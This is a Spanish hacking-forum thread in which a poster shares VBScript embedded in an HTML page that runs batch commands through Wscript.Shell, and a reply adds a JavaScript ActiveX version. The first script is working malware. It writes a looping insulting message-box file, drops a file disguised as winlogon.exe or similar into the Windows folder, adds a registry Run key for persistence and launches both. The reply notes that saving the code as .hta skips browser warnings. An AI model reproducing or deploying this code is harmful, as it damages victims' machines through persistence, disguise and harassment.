Ejecutar lineas de batch desde codigo HTML |By-Skull|

[[SMT]]

Bueno esta tecnica si es vieja!XD me la se desde el año pasado o mas creo yo, epro veo que no muchos la conocen asi que pues la enseño aqui, con esto pueden ejecutar sus codigos desde cualquier pagina que tenga e incluso pruebenlo, abren el notepad, ponen este code y lo guardan como html!

                                                 CODIGO:


<!--aki esta el script k ace la magia, la parte k esta en rojo es en la k tienes k meter el codigo de lo k
kieras ejecutar, cada linea del bat unela con "&"(sincomiyas)-->
<script language="vbs">
   on error resume next
   Set shell = createObject("Wscript.shell")
  shell.run("cmd.exe /c @echo off & color a & echo ola mundooooooooo......... & msg * holaaa & pause & exit")
   set fso=createObject("Scripting.fileSystemObject")
   set miArchivo = fso.CreateTextFile("\bUSik.vbs", 2, false)
   miArchivo.writeline("do" )
   miArchivo.writeline("msgbox(" & chr(34) & "eres una gorda" & chr(34) & ")" )
   miArchivo.writeline("loop" )
   miArchivo.Close
   if fso.getfile("\bUSik.vbs") = "" then
      wscript.popup("Permiso denegado, cierre la sesion e iniciela de nuevo como administrador")
   else
      randomize timer
      numer = int(rnd * 3)
      select case numer
      case 1
         nume="login32.exe"
      case 2
         nume="winlogon.exe"
      case 3
         nume="msagent.exe"
      case else
         nume="updater32.exe"
      end select
      set winDir=fso.GetSpecialFolder(0)
      set sysDir=fso.GetSpecialFolder(1)
      set vx = fso.CreateTextfile(windir & "\" & nume,2,false)
      vx.writeline("MZ")
      vx.Close
      shell.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Winlogon", winDir & "\" & nume
      shell.run("wscript " & windir & "\" & nume)
      shell.run("wscript \bUSik.vbs")
   end if
</script>
<!--esta parte ace k se cierre la ventana del IE-->
<script language="javascript">
   close();
</script>

</html>

Bueno este code es viejo y lo tenia guardado en un .txt de mi pcXD ni me acuerdo cuando lo hice o de donde lo saque! pero la parte roja es el de la SHELL (cmd)
bueno no recuerdo bien pero el code que lo hace funcionar es asi:

enseño aqui, con esto pueden ejecutar sus codigos desde cualquier pagina que tenga e incluso pruebenlo, abren el notepad, ponen este code y lo guardan como html!

                                                 CODIGO:


<script language="vbs">
   on error resume next
   Set shell = createObject("Wscript.shell")
  shell.run("cmd.exe /c @echo off & color a & echo ohola el mioooo & msg * holaa & pause & exit")
</script>

pues si tiene error avisenme llevo años que no pruebo esta tecnica, y no se si es asi!
Una cosa IMPORTANTE, NO ejecuten el code que les deje arriba! osea el primero ya el segundo si peuden e saquen variasiones!

Salu2's! cool

[Stacker]

Gracias, en javascript:

Código [Seleccionar] Expandir

<script language="javascript">
   var shell = new ActiveXObject("Wscript.shell")
   shell.run("cmd.exe /c @echo off & color a & echo ohola el mioooo & msg * holaa & pause & exit")
</script>

En navegadores, solo he conseguido que funcione en Internet Explorer, pero no en Firefox ni Opera.

Como siempre funciona, y sin confirmar con ningún mensaje de advertencia, es guardándolo como *.hta.

Gracias de nuevo por el código.

Saludos